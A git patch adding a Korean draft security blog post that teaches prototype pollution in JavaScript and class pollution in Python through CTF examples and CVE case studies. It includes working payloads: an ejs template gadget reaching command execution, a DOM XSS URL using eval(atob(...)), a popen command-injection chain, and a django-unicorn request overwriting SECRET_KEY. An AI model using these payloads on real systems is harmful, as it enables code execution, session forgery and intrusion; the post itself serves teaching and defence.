From ca20dac2f1e2a18bcce05dc46ca9e199b27e4c02 Mon Sep 17 00:00:00 2001
From: apple6342 <39668014+apple6342@users.noreply.github.com>
Date: Thu, 17 Jul 2025 00:25:30 +0900
Subject: [PATCH 01/18] Add files via upload
---
_posts/prototype pollution.md | 839 ++++++++++++++++++++++++++++++++++
1 file changed, 839 insertions(+)
create mode 100644 _posts/prototype pollution.md
diff --git a/_posts/prototype pollution.md b/_posts/prototype pollution.md
new file mode 100644
index 0000000..8f9d067
--- /dev/null
+++ b/_posts/prototype pollution.md
@@ -0,0 +1,839 @@
+# 초안
+
+***By Knights of the SPACE 가세혁(dpp), 김다희(lxnee), 박진완(realsung), 정성훈(HunSec)***
+
+# **BackGround( 정성훈 )**
+
+Class Pollution 취약점을 소개하기 전에 기본적으로 알아야 할 몇 가지 배경지식을 소개하겠습니다.
+
+JavaScript는 객체지향 언어이며 객체를 기반으로 작동하는 언어입니다.
+
+JavaScript 를 이루고 있는 거의 모든 것이 객체입니다.
+
+## 객체란?
+
+이름(Key)과 값(Value)으로 이루어진 속성들의 집합입니다. 아래 객체 예시를 확인할 수 있습니다.
+
+### **person 객체**
+
+```python
+const person = {
+ name: "지수", // key: name, value: "지수"
+ age: 24, // key: age, value: 24
+ isStudent: true // key: isStudent, value: true
+};
+```
+
+## 속성이란?
+
+**객체(Object)** 안에 있는 **"이름(key)"과 "값(value)"의 쌍입니다.**
+
+```python
+const user = {
+ name: "지수", // name: 속성
+ age: 25 // age: 속성
+};
+```
+
+- name, age → **속성** 이름 (key)
+- "지수", 25 → **속성** 값 (value)
+
+## 메소드란?
+
+객체 안에 정의되거나 객체에 속하는 함수입니다.
+
+### 메소드와 함수의 차이
+
+- **메소드** : **객체를 통해** 호출되는 함수
+- **함수** : **객체 없이** 독립적으로 호출되는 함수
+
+**메소드**
+
+```jsx
+const obj = {
+ greet: function() {
+ console.log("안녕!");
+ }
+};
+obj.greet();
+```
+
+**함수**
+
+```jsx
+function greet() {
+ console.log("안녕!");
+}
+greet();
+```
+
+## Prototype
+
+JavaScript는 전통적인 Class 기반 상속과 달리 **Prototype(프로토타입) 기반 상속**을 사용합니다.
+
+**Prototype은** 타 언어와 구별되는 JavaScript만의 중요한 개념입니다.
+
+> Prototype은 JavaScript에서 **객체가 다른 객체**로부터 **속성**과 **메소드**를
+**상속받기 위한 메커니즘**입니다.
+***쉽게 Prototype은 일종의 유전자**로 ****생각하시면 편합니다.*
+>
+
+### Prototype의 이해
+
+```jsx
+const user = {
+ sayHi() {
+ console.log("안녕!");
+ }
+};
+
+**const admin = Object.create(user);**
+admin.name = "관리자";
+
+admin.sayHi(); // 👉 "안녕!" ← **user에서 상속받은 메서드**
+```
+
+admin 객체는 user 객체를 **Prototype으로 삼고** 있으므로, admin 자체에 sayHi()가 없어도 Prototype Chain을 따라 user.sayHi()를 찾아 호출할 수 있습니다.
+
+- **부모 객체의 prototype (유전자)**
+ - **자식에게 물려줄 메소드**를 정의하는 전용 공간입니다.
+ - 예시: Parent.prototype.sayHello = function () { … };
+- **자식 객체의 __proto__(내부 유전자에 접근하기)**
+ - 생성될 때 **부모의 prototype**을 참조해 저장합니다.
+ - 이를 통해 **부모로부터 상속된 메소드·속성**에 접근할 수 있습니다.
+
+### __**proto__**
+
+모든 객체는 **__proto__**를 통해 자신의 **Prototype Chain(Prototype 내부)** 에 접근할 수 있습니다.
+
+**prototype 예시**
+
+```jsx
+function Person(name) {
+ this.name = name;
+}
+Person.prototype.sayHello = function() {
+ console.log("안녕, 나는 " + this.name);
+};
+
+const p1 = new Person("지수");
+p1.sayHello(); // 👉 "안녕, 나는 지수"
+
+```
+
+- p1은 Person.prototype을 프로토타입으로 삼음
+
+## JavaScript 상속
+
+JavaScript는 **Class 기반 상속**이 아닌 **Prototype기반 상속으로 객체끼리 연결을 통한 상속**을 합니다 (**Object**.,**proto,create** 이용)
+
+### JavaScript: Prototype 기**반 상속**
+
+```jsx
+const parent = {
+ sayHi() {
+ console.log("안녕!");
+ }
+};
+
+const child = Object.create(parent);
+child.name = "지수";
+
+child.sayHi(); // 👉 parent에서 상속받은 메서드
+
+```
+
+### Python: Class **기반 상속**
+
+```jsx
+class Parent:
+ def say_hi(self):
+ print("안녕!")
+
+class Child(Parent): # 상속
+ def __init__(self, name):
+ self.name = name
+
+c = Child("지수")
+c.say_hi() # 👉 Parent에서 상속받은 메서드
+
+```
+
+---
+
+# Prototype pollution ( 박진완 )
+
+## Prototype pollution 이란
+
+**Prototype Pollution**은 공격자가 객체의 Prototype(Object.prototype)에 접근하여 임의의 속성을 추가할 수 있게 하는 JavaScript 취약점입니다.
+
+만약 애플리케이션이 INPUT을 안전하지 않은 방식으로 처리한다면, 주로 다른 취약점으로 확장됩니다.
+
+클라이언트 측 JavaScript에서는 이러한 공격이 일반적으로 **DOM XSS**로 이어지며, 서버 측에서는 **RCE**(Remote Code Execution)로 이어질 수도 있습니다.
+
+Prototype Pollution의 실용적인 접근을 위해 Prototype에 접근하는 다양한 방법을 알아보겠습니다.
+
+7월 10일에 Ark가 X(구 Twitter)에 **“Tips: 7 ways to access __proto__ in JavaScript”**라는 게시글을 올렸습니다.
+
+[https://x.com/arkark_/status/1943260773268230205](https://x.com/arkark_/status/1943260773268230205)
+
+위와 같이 7가지 방법으로 prototype에 접근할 수 있습니다.
+
+그러면 Prototype Pollution은 주로 어떤 상황에 발생할까요?
+
+(이제부터 설명의 용이성을 위해 Prototype Pollution을 PP라 표기하겠습니다.)
+
+**일반적으로 PP는 다음과 같은 상황에서 주로 발생**합니다.
+
+```jsx
+const obj = {};
+const credential = {};
+
+INPUT1 = '__proto__';
+INPUT2 = 'admin';
+INPUT3 = true;
+obj[INPUT1][INPUT2] = INPUT3;
+
+if (credential.admin) console.log('Hello Admin');
+// Output : Hello Admin
+```
+
+위와 같이 유저의 INPUT이 객체 접근에 사용되고, 객체에 할당되는 값(INPUT3)를 조작할 수 있을 때 PP가 발생합니다. 이런 식으로 내부 변수를 조작하여 공격자는 원하는 동작을 이끌어 낼 수 있습니다.
+
+## 공격 예시
+
+### Prototype Pollution lead to RCE 사례
+
+Server Side에서 Prototype Pollution이 발생할 시 RCE로 이어질 수 있다는 점을 보여주는 좋은 사례입니다.
+
+(이해를 돕기 위해 Prototype Pollution을 코드에 직접 삽입하였습니다. USER INPUT을 통해 발생하는 사례도 충분히 가능합니다.)
+
+버전 : 3.1.6
+
+모듈 : ejs (NPM)
+
+```jsx
+// app.js
+const express = require('express');
+const app = express();
+const PORT = 3000;
+app.set('views', __dirname);
+app.set('view engine', 'ejs');
+
+Object.prototype.client = 1;
+Object.prototype.escapeFunction = 'function(){};console.log(process.mainModule.require("child_process").execSync("dir").toString())';
+
+app.get('/', (req, res) => {
+ res.render('index');
+});
+
+app.listen(PORT, () => {
+ console.log(`Server is running on ${PORT}`);
+});
+```
+
+
+
+### Prototype Pollution lead to DOM XSS
+
+**L3akCTF 2025**에 [NotoriousNote](https://ctf.l3ak.team/challenges#NotoriousNote-64)라는 문제가 출제되었습니다. (135 Solves)
+
+다루고자 하는 주제와 잘 맞는 문제라서 예시로 가져오게 되었습니다.
+
+```jsx
+// index.js
+document.addEventListener('DOMContentLoaded', function() {
+ const [_, query] = [window.location, QueryArg.parseQuery(window.location.search)];
+ const { note: n } = query;
+
+ const actions = [
+ () => console.debug(n),
+ () => {
+ const el = document.getElementById('notesPlaceholder');
+ if (n) {
+ const renderNote = txt => `
${sanitizeHtml(txt)}
`;
+ el.innerHTML += renderNote(n);
+ }
+ }
+ ];
+
+ actions.forEach(fn => fn());
+});
+```
+
+**index.js**에서는 `QueryArg.parseQuery`로 `window.location.search` 를 파싱합니다.
+
+`QueryArg.parseQuery` 는 출제자가 구현한 것으로 Prototype Pollution에 취약하게 구현되어 있습니다.
+
+sanitizeHtml은 NPM의 **sanitize-html 모듈**입니다.
+
+```jsx
+(function(global){
+ global.MakeQueryArg = function(){
+ ...
+
+ switch (selector.charAt(selectorBreak)) {
+ case '[':
+ obj[currentRoot] = obj[currentRoot] || [];
+ nextSelector = nextSelector.replace(']', '');
+
+ if (nextSelector.search(/[\.\[]/) === -1 && nextSelector.search(/^[0-9]+$/) > -1) {
+ nextSelector = parseInt(nextSelector, 10);
+ }
+
+ return QueryArg._qaAccess(obj[currentRoot], nextSelector, value);
+
+ ...
+```
+
+ `__proto__` 와 같은 문자열의 검증없이 currentRoot를 사용하여 할당하기 때문에 Prototype Pollution이 발생합니다.
+
+[http://34.134.162.213:17002/?__proto__[a]=1](http://34.134.162.213:17002/?__proto__[a]=1) 해당 링크에 접속하여 PP를 확인할 수 있습니다.
+
+
+
+
+`sanitizeHtml prototype pollution` 을 검색하면 [유용한 링크](https://www.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers.html)가 나옵니다.
+
+
+
+
+
+따라서 아래와 같이 접근하여 문제를 해결할 수 있습니다.ㅑ
+
+```
+http://127.0.0.1:5000/?note=%3Ciframe%20onload=eval(atob(%22BASE64 인코딩된 페이로드%22))%3E&__proto__[*][0]=onload
+```
+
+### 관련 워게임
+
+[https://dreamhack.io/wargame/challenges/205/](https://dreamhack.io/wargame/challenges/205/)
+
+[https://dreamhack.io/wargame/challenges/468/](https://dreamhack.io/wargame/challenges/468/)
+
+[https://dreamhack.io/wargame/challenges/643/](https://dreamhack.io/wargame/challenges/643/)
+
+[https://dreamhack.io/wargame/challenges/1678](https://dreamhack.io/wargame/challenges/1678)
+
+---
+
+# class pollution ( 정성훈 )
+
+## class pollution 이란
+
+보통 JavaScript 환경에서 발생하는 Prototype pollution 취약점은
+**Prototype이 없는 Python 환경에서도 취약점이 발**생합니다.
+
+**정확히 말하면**, Python에서는 Prototype이 존재하지 않지만, **Class 기반**으로 Prototype과 비슷하게
+작동을 하기 때문에 Python 언어에서도 Prototype pollution 취약점을 재현할 수 있습니다.
+이 취약점을 편의상
+
+**Prototype pollution in Python** 또는 **class pollution**으로 표현하겠습니다.
+
+Python 환경에서 발생하는 **Class Pollution 취약점**은 주로 **Magic Method**를 이용해서 이루어집니다.
+
+## Magic Method (Duner Method ,Speical Method)
+
+**Magic Method** : **메소드의 양쪽을 (__)** 로 감싼형태인 파이썬 클래스 안에서 **특수 메소드** 입니다.
+
+ex)**__str__(), __call__()**
+
+## Pototype Pollution 과 Class Pollution의 차이점
+
+- Python에서는 **__getitem__ __setitem__**으로는 **__class__ __base__**같은 속성에 접근할 수 없습니다.
+- JavaScript는 이런 제한이 없으므로 Python 환경보다 더욱더 유연하게 공격을 진행할 수 있습니다.
+- **Prototype이 없는 class 기반 상속 언어인 Python 환경**에서 일어나는 class pollution 취약점은
+**Magic Method(특수 속성)**을 이용합니다.
+
+이러한 **Magic Method**들은 객체가 특정 작업과 다양한 연산자와 함께 사용될 때 어떤 동작을 해야 할지 정의해줍니다.
+
+즉 Python에서는 **JavaScript처럼 Prototype은 없지만,** **Magic Method**를 이용해서 유사한 기능,구조를 구현할 수 있습니다.
+
+아래 2개의 코드는 Class Pollution을 보여주는 예시입니다.
+
+```python
+class Dog:
+ def bark(self):
+ print("멍멍!")
+
+dog = Dog()
+dog.bark() # 출력: 멍멍!
+
+# 런타임 중 메서드 오버라이드
+def new_bark(self):
+ print("왈왈!!")
+
+dog.bark = new_bark.**__get__(dog)**
+dog.bark() # 출력: 왈왈!!
+
+```
+
+코드에서 확인할 수 있듯이 Python 환경에서는 실행 도중 객체의 메소드를 바꿀 수 있습니다.
+
+```python
+class Employee: pass # 빈 클래스 정의
+
+emp = **Employee()** # Employee 클래스 인스턴스 생성
+another_emp = **Employee()** # 또 다른 인스턴스 생성
+
+**Employee**.name = 'No one' # 클래스 수준에서 name 속성 추가
+print(**emp**.name) # emp는 클래스 속성 접근 → 'No one' 출력
+
+**emp**.name = 'Employee 1' # emp 인스턴스에 name 속성 오버라이드
+print(**emp**.name) # 인스턴스 속성이 우선 → 'Employee 1' 출력
+
+emp.say_hi = lambda: 'Hi there!' # emp 인스턴스에만 say_hi 메서드 추가
+print(emp.say_hi()) # emp에서 say_hi 실행 → 'Hi there!' 출력
+
+**Employee.say_bye** = lambda s: 'Bye!' # 클래스 수준에 say_bye 메서드 정의
+print(emp.**say_bye()**) # emp도 say_bye 접근 가능 → 'Bye!' 출력
+
+**Employee.say_bye** = lambda s: 'Bye bye!' # say_bye 메서드를 다시 덮어씀
+print(another_emp.**say_bye()**) # another_emp도 새 버전 실행 → 'Bye bye!' 출력
+
+```
+
+**Employee.say_bye**와 같이 외부에서 **Class Method**를 조작하면 영향받는 상황인 Class Pollution이 발생합니다.
+
+공격자의 관점인 우리는 **Magic Method보다는 속성에 집중해야 합니다.**
+
+그 이유는 Magic Method를 덮어쓴다면, 오류가 일어나기 때문에, 공격이 불가능해집니다.
+
+예시로 **__class__** 속성을 직접 덮어봅시다.
+
+### __class__
+
+```python
+class Employee: pass # 빈 클래스 정의
+
+emp = Employee()
+emp.**__class__** = 'Polluted'
+
+#> Traceback (most recent call last):
+#> File "", line 1, in
+#> TypeError: __class__ must be set to a class, not 'str' object
+```
+
+- Employee의 인스턴스인 emp.__class__는 Employee를 가리키고.
+- emp객체의 Class 속성값으로 **Pollute** 라는 문자열이 들어가 있고 오류가 발생하는 것을 볼 수가 있습니다
+
+**TypeError: __class__ must be set to a class, not 'str' object**
+
+문자열이 아니라, Class로만 할당할 수 있다고 **에러가 나오는 것을 확인할 수 있습니다.**
+
+속성 덮어쓰기 자체는 가능했지만, 자료형이 올바르지 않아서 Type error가 발생하는 것입니다.
+
+**이는 덮어쓰기가 가능한 걸 알려주는 아주 좋은 에러입니다!**
+
+이번에는 문자열을 허용하는 **__qualname__** 이라는 속성으로 진행해봅시다.
+
+### __qualname__
+
+```python
+class Employee: pass # Creating an empty class
+
+emp = Employee()
+emp.__class__.__qualname__ = 'Polluted'
+
+print(emp)
+print(Employee)
+
+#> <__main__.Polluted object at 0x0000024765C48250>
+#>
+```
+
+**__qualname__** 를 통해서 속성에 임의의 문자열인 Polluted가 들어가 있는 것을 확인할 수 있습니다.
+
+**emp.__class__.__qualname__** 을 설정했을 때 단순히 emp의 인스턴스가 바뀐 게 아니라,emp가 속한 클래스(Employee)의 속__qualname__ 속성이 변경된 것입니다.
+
+- emp.__class__.__qualname__ = "Polluted" → Employee.__qualname__ = "Polluted"과 같습니다.
+
+## 다양한 class pollution 방법
+
+### __base__ 속성을 이용한
+
+**base** 속성을 이용한 부모 Class까지의 pollution
+
+가장 가까운 부모 Class를 참조하는__base__ 속성을 이용해서 직접 상속한 마지막 부모 Class까지 pollution
+
+### object polluted
+
+Object Class는 모든 Class가 상속받는 부모 class이므로 만약 Object Class를 Pollution 한다면 모든 객체에 영향을 주는 아주 효과적인 공격 방법일 것입니다.
+
+하지만 최상위 부모 Class인 Object Class를 오염시키는 건 **불가능합니다.**
+
+**object.__qualname__ = 'Polluted'**
+
+ㅡ> **TypeError: cannot set '__qualname__' attribute of immutable type 'object'**
+
+Object는 속성 설정이 불가능합니다. Python 언어 특성상 **object, str, int, dict** 같이 **불변 타입**은
+ Class 수정이 불가능 **class pollution 대상이 아닙니다.**
+
+---
+
+# Class Pollution 공격 예시 ( 가세혁 )
+
+## 공격 예시
+
+### 1. 부모 Class Pollution
+
+```python
+class Animal:
+ species = "동물"
+
+class Mammal(Animal):
+ pass
+
+class Dog(Mammal):
+ pass
+
+a = Animal()
+m = Mammal()
+d = Dog()
+
+print(a.species) # 동물
+print(m.species) # 동물
+print(d.species) # 동물
+
+# class 체인의 조상 클래스 오염
+d.__class__.__base__.__base__.species = "오염된 동물"
+
+print(a.species) # 오염된 동물
+print(m.species) # 오염된 동물
+print(d.species) # 오염된 동물
+```
+
+---
+
+### 2. __class__ 속성 병합 Pollution
+
+```python
+class Animal:
+ pass
+
+def merge(src, dst):
+ for k, v in src.items():
+ if hasattr(dst, '__getitem__'):
+ if dst.get(k) and type(v) == dict:
+ merge(v, dst.get(k))
+ else:
+ dst[k] = v
+ elif hasattr(dst, k) and type(v) == dict:
+ merge(v, getattr(dst, k))
+ else:
+ setattr(dst, k, v)
+
+# 오염용 입력
+animal_info = {
+ "species": "고양이",
+ "age": 4,
+ "owner": {
+ "name": "민수"
+ },
+ "__class__": {
+ "__qualname__": "Polluted"
+ }
+}
+
+a = Animal()
+merge(animal_info, a)
+
+print(vars(a)) # {'species': ..., 'age': ..., ...}
+print(a) # <__main__.Polluted object at ...>
+print(a.__class__.__qualname__)# Polluted
+print(Animal.__qualname__) # Polluted
+```
+
+---
+
+### 3. 명령 실행용 오염 체인
+
+```python
+from os import popen
+
+class Employee: pass
+class HR(Employee): pass
+class Recruiter(HR): pass
+
+class SystemAdmin(Employee):
+ def execute_command(self):
+ command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
+ return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
+
+def merge(src, dst):
+ for k, v in src.items():
+ if hasattr(dst, '__getitem__'):
+ if dst.get(k) and type(v) == dict:
+ merge(v, dst.get(k))
+ else:
+ dst[k] = v
+ elif hasattr(dst, k) and type(v) == dict:
+ merge(v, getattr(dst, k))
+ else:
+ setattr(dst, k, v)
+
+# 오염용 payload
+USER_INPUT = {
+ "__class__": {
+ "__base__": {
+ "__base__": {
+ "custom_command": "whoami"
+ }
+ }
+ }
+}
+
+recruiter_emp = Recruiter()
+system_admin_emp = SystemAdmin()
+
+print(system_admin_emp.execute_command())
+# [!] Executing: "echo Hello there", output: "Hello there"
+
+# 병합을 통해 조상 클래스 오염 시도
+merge(USER_INPUT, recruiter_emp)
+
+print(system_admin_emp.execute_command())
+# [!] Executing: "whoami", output: "abdulrah33m"
+```
+
+### 클래스 구조
+
+```mermaid
+classDiagram
+ class Employee
+ class HR
+ class Recruiter
+ class SystemAdmin
+
+ HR --|> Employee
+ Recruiter --|> HR
+ SystemAdmin --|> Employee
+
+```
+
+### 오염 경로
+
+```mermaid
+flowchart TD
+ A["recruiter_emp (Recruiter)"] --> B["__class__ (Recruiter)"]
+ B --> C["__base__ (HR)"]
+ C --> D["__base__ (Employee)"]
+ D --> E["custom_command=whoami"]
+```
+
+https://medium.com/@edgenask/bauhinia-ctf-2023-17fe1b00a398
+
+https://github.com/jmoraissec/ctf-class-pollution
+
+https://blog.abdulrah33m.com/prototype-pollution-in-python/
+
+https://www.cyberdonald.com/post/downunderctf-web-co2
+
+https://www.offensiveweb.com/docs/programming/python/class-pollution/
+
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.html
+
+---
+
+# realworld case ( 김다희 )
+
+## Prototype Pollution
+
+### 1. tough-cookie (affected from 0 before 4.1.3) & ****CVE-2023-26136, CWE-1321
+
+---
+
+- **Program :** tough-cookie (affected from 0 before 4.1.3)
+- **Reported ID :** CVE-2023-26136, CWE-1321
+- **Severity :** Medium (6.5)
+- **Bounty :** N/A
+
+tough-cookie는 Node.js 환경에서 RFC6265 표준을 준수하는 쿠키 관리 및 쿠키 저장소 기능을 제공하는 오픈소스 라이브러리입니다.
+
+4.1.3 이전 버전의 tough-cookie에서는, 여러 쿠키가 저장·관리되는 쿠키 저장소 객체의 옵션 중 rejectPublicSuffixes=false 을 사용할 때 cookie 설정 과정에서 프로토타입 오염이 발생할 수 있었습니다. 객체 초기화 방식의 문제로 인해 제한된 속성 정보가 노출되거나 수정되는 것입니다.
+
+쿠키 저장소 객체를 생성할 때 rejectPublicSuffixes 옵션을 false로 설정하면, 공개 접미사(public suffix) 검증이 비활성화됩니다. 공개 접미사 검증이 비활성화되면, .com, .co.kr 등과 같이 쿠키를 설정할 수 없어야 하는 상위 도메인에 대해서도 쿠키가 설정됩니다. 이로 인해 쿠키의 Domain 속성에 임의 값(ex. __proto__)이 허용됩니다.
+
+• __proto__는 JavaScript에서 Object.prototype 체인을 조작할 수 있는 특수 속성입니다.
+
+```jsx
+const tough = require("tough-cookie");
+const cookiejar = new tough.CookieJar(undefined, { rejectPublicSuffixes: false });
+
+await cookiejar.setCookie(
+ "Slonser=polluted; Domain=__proto__; Path=/notauth",
+ "https://__proto__/admin"
+);
+
+console.log({}["/notauth"]["Slonser"]); // polluted
+```
+
+위 코드의 setCookie에서는 Domain=__proto__을 쿠키를 설정하고 있습니다. __proto__가 도메인으로 사용되면, 쿠키 저장소(CookieJar)의 Object.prototype이 오염됩니다. 또한, 쿠키는 Slonser=polluted 값을 가지며, 오염된 해당 값이 주입될 경로는 /notauth입니다.
+
+console.log 줄에서는 비로소 Object.prototype["/notauth"]["Slonser"]가 오염됩니다. 결과적으로, 모든 객체에서 쿠키 경로인 /notauth에 접근하면 Slonser의 속성값 polluted을 읽을 수 있게 됩니다.
+
+> https://security.snyk.io/vuln/SNYK-DEBIANUNSTABLE-NODETOUGHCOOKIE-5759359
+>
+>
+> [https://www.cve.org/CVERecord?id=CVE-2023-26136](https://www.cve.org/CVERecord?id=CVE-2023-26136)
+>
+> https://nvd.nist.gov/vuln/detail/cve-2023-26136
+>
+> https://security.snyk.io/vuln/SNYK-JS-TOUGHCOOKIE-5672873
+>
+> [https://github.com/salesforce/tough-cookie/issues/282](https://github.com/salesforce/tough-cookie/issues/282)
+>
+
+---
+
+### 2. lodash (affected at All versions prior to 4.17.12) & CVE-2019-10744, CWE-1321
+
+---
+
+- **Program :** lodash (affected at All versions prior to 4.17.12)
+- **Reported ID :** CVE-2019-10744, CWE-1321
+- **Severity :** High (7.3)
+- **Bounty :** N/A
+
+lodash의 v4.17.12+ 이전 버전에서는 객체 속성을 깊은 수준(deep level)까지 병합하는 defaultsDeep의 recursive merge로 인한 프로토타입 오염 문제가 있었습니다.
+
+- recursive merge (재귀적 병합)이?
+
+예를 들어, Object.defineProperty()를 사용해서 __proto__ 속성을 가진 객체를 만든다고 합시다. 이를 병합 대상 객체(source)로 사용하면 문제가 생깁니다. 병합 대상인 객체와 병합 결과가 저장될 대상(target) 객체 모두에 같은 속성이 있고, 그 속성들이 객체인 경우, 병합 함수는 그 안의 속성들을 계속 재귀적으로 병합하기 때문입니다.
+
+이 과정에서 __proto__ 속성이 처리되면, 병합 함수가 Object.prototype(모든 객체의 기본 프로토타입)에 접근하게 되고, 여기에 공격자가 원하는 속성들을 주입할 수 있게 됩니다. 이렇게 되면 모든 객체에 영향을 줄 수 있는 심각한 보안 문제가 발생합니다.
+
+특히 이런 취약점은 빈 객체와 병합하는 "클론" 작업을 할 때 자주 발생합니다. 예를 들어 merge({}, source)처럼 쓰면, 빈 객체에 source의 속성을 병합하는데, 이때 source에 __proto__가 있으면 위와 같은 보안 문제가 일어날 수 있습니다.
+
+defaultsDeep(target, source) 함수는 source 객체의 속성을 target에 복사합니다. 이때, 속성이 객체라면 그 내부도 재귀적으로 병합합니다.
+
+```jsx
+const mergeFn = require('lodash').defaultsDeep;
+const payload = '{"constructor": {"prototype": {"a0": true}}}';
+
+function check() {
+ mergeFn({}, JSON.parse(payload)); // 1. 취약점 트리거
+ if (({})[`a0`] === true) { // 2. 오염 확인
+ console.log(`Vulnerable to Prototype Pollution via ${payload}`);
+ }
+}
+
+check();
+```
+
+위 코드의 mergeFn 함수에서는 빈 객체 {}와 payload가 병합됩니다. 병합 중 constructor와 그 안의 prototype이 객체로 인식되며, lodash는 이를 재귀적으로 따라갑니다. lodash.defaultsDeep() 함수가 payload를 병합할 때 constructor.prototype 경로를 따라감으로써 Object.prototype에 a0: true 이 주입되어 오염됩니다.
+
+if문에서는 새로 만든 빈 객체에서도 a0가 true로 나오는지 테스트합니다. 오염된 Object.prototype에서 a0 값을 읽어오며, true가 반환됨에 따라 취약점의 존재가 확인됩니다.
+
+> https://security.snyk.io/vuln/SNYK-JS-LODASH-450202
+>
+>
+> [https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/?_gl=1*d7rzny*_gcl_au*MTc4MTUyODEzLjE3NTAzNDcwMDM.*_ga*MTI5NzMxODQuMTc1MDM0MjczMQ..*_ga_X9SH3KP7B4*czE3NTAzNTIxMDckbzMkZzEkdDE3NTAzNTIyNTQkajYwJGwwJGgw](https://snyk.io/blog/snyk-research-team-discovers-severe-prototype-pollution-security-vulnerabilities-affecting-all-versions-of-lodash/?_gl=1*d7rzny*_gcl_au*MTc4MTUyODEzLjE3NTAzNDcwMDM.*_ga*MTI5NzMxODQuMTc1MDM0MjczMQ..*_ga_X9SH3KP7B4*czE3NTAzNTIxMDckbzMkZzEkdDE3NTAzNTIyNTQkajYwJGwwJGgw)
+>
+
+---
+
+## Class Pollution
+
+---
+
+### 1. **mesop & CVE-2025-30358, CWE-915**
+
+---
+
+- **Program : mesop**
+- **Reported ID :** **CVE-2025-30358, CWE-915**
+- **Severity : High (7.2)**
+- **Bounty : N/A**
+
+mesop은 Python으로 UI를 구축하는 프레임워크입니다. mesop의 0.14.0 이하 버전의 _recursive_update_dataclass_from_json_obj() 함수에서는 Class Pollution 문제가 있었습니다.
+
+_recursive_update_dataclass_from_json_obj()는 외부의 JSON 데이터를 Python 데이터 클래스로 재귀적으로 변환하여 매핑하는 함수입니다. 이 함수는 dunder 속성 (__로 시작하는 속성)에 대한 필터링을 수행하지 않다는 문제가 존재했습니다. 그렇기에 공격자가 JSON 입력에 __로 시작하는 악성 속성을 overwrite하면 이는 python 클래스의 내부 시스템 속성에 악성 데이터를 삽입할 수 있습니다. 이는 DoS(서비스 거부) 공격을 일으킬 수 있으며, 클래스의 기본 동작이 마비되거나 조작될 수 있습니다. 공격자가 중첩된 딕셔너리 구조를 통해 제한 없이 재귀 호출을 유발하여 스택 오버플로우나 무한 루프를 일으킬 수도 있습니다. 또한, 속성의 결과 값이 런타임에서 제어될 수 있다면 사용자 사칭, 데이터 오염, Class 동작 변경 등의 심각한 보안 사고를 초래할 수 있습니다.
+
+```jsx
+def _recursive_update_dataclass_from_json_obj(instance: Any, json_dict: Any):More actions
+for key, value in json_dict.items():
+
+if hasattr(instance, key):
+attr = getattr(instance, key)
+if isinstance(value, dict):
+```
+
+위 코드에서는 던더(Dunder) 속성 필터링이 부재합니다. if key.startswith("__") and key.endswith("__"): 과 같은 검증 로직이 없기에 공격자는 __init__, __call__, __class__ 같은 중요한 내부 속성이 제어될 수 있습니다. Python 객체의 기본 동작이 마비되거나 조작이 가능해지며, 중첩된 딕셔너리에 대해 제한 없이 재귀 호출이 가능하기에 모든 중첩 레벨이 오염될 수 있습니다.
+
+> https://security.snyk.io/vuln/SNYK-PYTHON-MESOP-9669339
+>
+>
+> https://github.com/mesop-dev/mesop/commit/748e20d4a363d89b841d62213f5b0c6b4bed788f#diff-883b9c6a73562bf9cb21027f4afb7c018f0490c04467a69281a53758724dd71e
+>
+
+---
+
+### 2. **django-unicorn & CVE-2025-24370, CWE-915**
+
+---
+
+- **Program : django-unicorn**
+- **Reported ID :** **CVE-2025-24370, CWE-915**
+- **Severity : Critical (9.3)**
+- **Bounty : N/A**
+
+Django-Unicorn은 Django를 위한 full-stack 프레임워크로, 템플릿에 최신 반응형 컴포넌트 기능을 추가합니다. Django-Unicorn의 0.62.0 이전 버전에서, set_property_value 함수는 class Pollution에취약했습니다.
+
+```jsx
+def set_property_value(
+ component,
+ property_name,
+ property_value
+) -> None:
+ ...
+ property_name_parts = property_name.split(".")
+ component_or_field = component
+ ...
+```
+
+set_property_value 함수는 외부에서 속성 값을 수정하는 기능을 제공하는데, 경로를 점으로 구분하여 객체의 속성에 접근할 수 있습니다. 사용자가 적절한 컴포넌트 요청을 작성하고 취약한 함수에 두 번째
+(property_name) 및 세 번째 (property_value)매개변수 값을 입력하여 원격으로 트리거할 수 있으며, 이로 인해 Python 런타임 상태가 임의로 변경됩니다. 해당 취약점의 악용 방법이 최소 다섯 가지 이상 포착되었으며, 대부분의 Django-Unicorn 기반 애플리케이션에서 XSS, DoS, 인증 우회 공격으로 이어질 수 있습니다.
+
+다음은 overwriting a secret key를 통해 인증 우회 공격을 수행할 수 있는 코드입니다.
+
+```jsx
+POST /unicorn/message/todo HTTP/1.1
+
+{
+ "id": 123,
+ "actionQueue": [
+ {
+ "type": "syncInput",
+ "payload": {
+ "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
+ "value": "test"
+ }
+ }
+ ],
+ "data": {
+ "task": "",
+ "tasks": []
+ },
+ "epoch": "123",
+ "checksum": "XXX"
+}
+```
+
+점으로 구분된 경로를 사용하여 속성을 찾는 set_property_value 함수의 경로 검증이 부족하여__globals__와 같은 magical 속성에 접근할 수 있게 됩니다.
+
+공격자는 property_name으로 __init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY를 설정합니다. __globals__는 파이썬의 전역 네임스페이스를 참조하는 특수한 속성이므로, 이를 통해 sys.modules를 거쳐, django.settings.SECRET_KEY에 접근하고 수정할 수 있습니다. 그 결과, 공격자는 비밀 키의 런타임 값을 의도한 대로 변조함으로써 세션 쿠키를 위조하여 다른 사용자로 시스템에 로그인할 수 있습니다.
+
+> https://nvd.nist.gov/vuln/detail/CVE-2025-24370
+>
+>
+> https://www.cve.org/CVERecord?id=CVE-2025-24370
+>
+> https://access.redhat.com/security/cve/cve-2025-24370
+>
+> https://feedly.com/cve/CVE-2025-24370
+>
+> https://security.snyk.io/vuln/SNYK-PYTHON-DJANGOUNICORN-8685541
+>
+> [https://github.com/advisories/GHSA-g9wf-5777-gq43](https://github.com/advisories/GHSA-g9wf-5777-gq43)
+>
\ No newline at end of file
From 089a58293b51cfd97bacf4534fe3766d1b504504 Mon Sep 17 00:00:00 2001
From: apple6342 <39668014+apple6342@users.noreply.github.com>
Date: Thu, 17 Jul 2025 00:26:36 +0900
Subject: [PATCH 02/18] Create prototype pollution
---
prototype pollution | 1 +
